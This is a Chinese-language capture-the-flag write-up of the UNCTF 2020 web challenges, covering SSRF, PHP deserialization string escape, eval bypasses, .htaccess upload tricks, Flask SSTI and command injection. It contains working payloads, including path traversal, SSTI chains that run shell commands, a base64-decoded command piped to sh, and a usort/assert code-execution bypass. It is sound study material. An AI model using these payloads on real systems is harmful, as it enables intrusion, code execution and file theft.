Unctf-WEB

WEB

[TOC]

easy_ssrf

源码

<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}
?>

SSRF 返回上级目录,读取文件

payload:?url=unctf.com/../../../../flag

image-20201107151749234image-20201107151749234

easyunserializ

源码

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
} # 改变序列化中的字符

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
php反序列化字符串逃逸
  • 序列化的特点:以 ; 为字段的分隔,以 } 为结尾,并且根据长度判断内容
  • 超出部分不会被反序列化成功,说明反序列化的过程是有一定的识别范围的,范围之外都会被自动忽略
  • 反序列化时长度不对应会报错
  • 可以反序列化不存在的元素
# 过滤后字符增加时
<?php
function lemon($string){
    $lemon = '/p/i';
    return preg_replace($lemon,'ww',$string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "<br>";

$r = lemon(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

#### 第一种情况
?a=apple时
    
string(35) "a:2:{i:0;s:5:"apple";i:1;s:2:"20";}"
<br>
string(37) "a:2:{i:0;s:5:"awwwwle";i:1;s:2:"20";}"
bool(false) ### 报错 不能反序列化
#### 第二种情况
   ";i:1;s:2:"20";}  16个字符 
?a=pppppppppppppppp";i:1;s:2:"20";}时
    
string(63) "a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"20";}";i:1;s:2:"20";}"
<br>string(79) "a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:2:"20";}";i:1;s:2:"20";}"
array(2) {
  [0]=>
  string(32) "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww"
  [1]=>
  string(2) "20"
} ### 成功反序列化
# 过滤后字符串减少时
<?php
function str_rep($string){
    return preg_replace( '/lemon|shy/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$tt=serialize($test);
echo($tt);
echo '<br>';
$temp = str_rep($tt);
echo($temp);
echo'<br>';
$fake = unserialize($temp);
var_dump(($fake));
?>
    # 第一种情况
    name=lemon&sign=gogogo
    a:3:{s:4:"name";s:5:"lemon";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
    a:3:{s:4:"name";s:5:"";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
    bool(false) #lemon被替换 无法反序列化
    #第二种情况
     name=pika&sign=";s:6:"number";s:4:"2020";}   
    a:3 {s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
a:3:{s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
array(3) { ["name"]=> string(4) "pika" ["sign"]=> string(27) "";s:6:"number";s:4:"2020";}" ["number"]=> string(4) "2020" }
    #第三种情况
    name=shyshyshyshyshyshyshyshyshy&sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
a:3:{s:4:"name";s:27:"shyshyshyshyshyshyshyshyshy";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}

a:3:a:3:{s:4:"name";s:27:"";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}

array(3) { ["name"]=> string(27) "";s:4:"sign";s:57:"hello123" ["sign"]=> string(4) "eval" ["number"]=> string(4) "2000" }
payload:changechangechangechangechangechangechange";s:8:"password";s:4:"easy";}

image-20201108222105587image-20201108222105587

babyeval

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>
payload: ?a=echo `cat flag.php|base64`;   # 注意最后需要引号,这样是完整的php代码

ezphp

<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

php反序列化 弱等于

payload: a:2:{s:8:"username";b:1;s:8:"password";b:1;}

flag.php里面将username与password修改了因此不能直接序列化

看代码感觉能直接序列化,但是结果就是不行,才尝试这个方法

easy_upload

image-20201112215551987image-20201112215551987

本题禁止文件中出现某些字符,并且禁止了某些文件名

使用 .htaccess 攻击 经过测试发现.htaccess可以上传
*** .htaccess 文件内容可以换行输入 
*** 一句话木马也可以简化

image-20201112215939469image-20201112215939469

image-20201112220014395image-20201112220014395

easyflask

预备知识SSTI

开始时由于没有学ssti导致一头雾水,网上乱扒payload,结果显然失败(还是自己认真学一下吧)

预备知识

  1. SSTI的解题步骤:找基本类--->找子类--->找可利用的子类模板

本题过滤了[] ' ' "" __

使用 |attr(request.args.value) 绕过

首先查看基本类

原来的语句:{{''.__class__.base__}}
绕过语句:{{()|attr(request.args.class)|attr(request.args.base)}}&class=__class__&base=__base__

image-20201110223125694image-20201110223125694

找子类

原句:{{''.__class__.base__.__subclasses__()}}
绕过:{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()}}&class=__class__&base=__base__&sub=__subclasses__

image-20201110225005807image-20201110225005807

选择某一个子类

原句:{{''.__class__.__base__.__subclasses__()[199]}}输出第199个
绕过: {{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(199)}}&&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__

image-20201110231227463image-20201110231227463

读取flag

原句:{{warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/flag.txt').read()")}}
绕过:{{(()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(166))|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.param)}}&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval&param=__import__('os').popen('cat flag.txt').read()

image-20201110235346373image-20201110235346373

注意细心 千万不要把字母拼错

UN's_online_tools

命令执行 绕过

?url=127|sort%09index.php

image-20201112220350802image-20201112220350802

查看flag的位置:?url=127|ls%09../../../../
获取flag:??url=127.0.0|echo%09c29ydCAuLi8uLi8uLi8uLi9mbGFn|base64%09-d|sh
# 使用base64绕过过滤

ezfind

image-20201114173433689image-20201114173433689

此题很玄学 非预期

L0vephp

此题需要找到正确的入口(?action=)

查看源代码

image-20201117235651530image-20201117235651530

发现了最后一段为base85编码

image-20201117235634186image-20201117235634186

此题过滤了base64 所以这里采用 php://filter/convert.quoted-printable-encode/resource=flag.php

获取到了flag.php 再解码

image-20201115130752260image-20201115130752260

发现flag是假的,并且看见了提示,使用hex解码

image-20201115130847252image-20201115130847252

访问获得源代码

<?php 
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/'); 
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
    die('Too long');
}

foreach ($blacklist1 as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/m', $code)) { 
        die('WTF???'); 
    } 
} 

foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}
@eval($code);
?>

目前做到这里就不会了 , 先空着等之后去学习一下大佬的wp

eval长度限制绕过

利用变长参数特性展开数组
变长参数是PHP5.6新引入的新特性,php中可以使用func(...$arr)这样的方式将$arr数组展开成多个参数传入func函数
传入样例:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

usort() 使用用户定义的比较函数对数组进行排序
usort(array,myfunction)  array 必须填写,规定需要排序的数组
                         myfunction  可选,定义了一个可调用的比较函数的字符串
                         
GET变量被展开成为了两个参数['test','var_dump($_SERVER)'] 和 assert 传入了usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数的var_dump($_SERVER),即可执行函数。

开始解题

image-20201118000348977image-20201118000348977

获取flag 直接使用 cat /f*

image-20201118001001096image-20201118001001096

最后修改于:2021年03月31日 21:15

添加新评论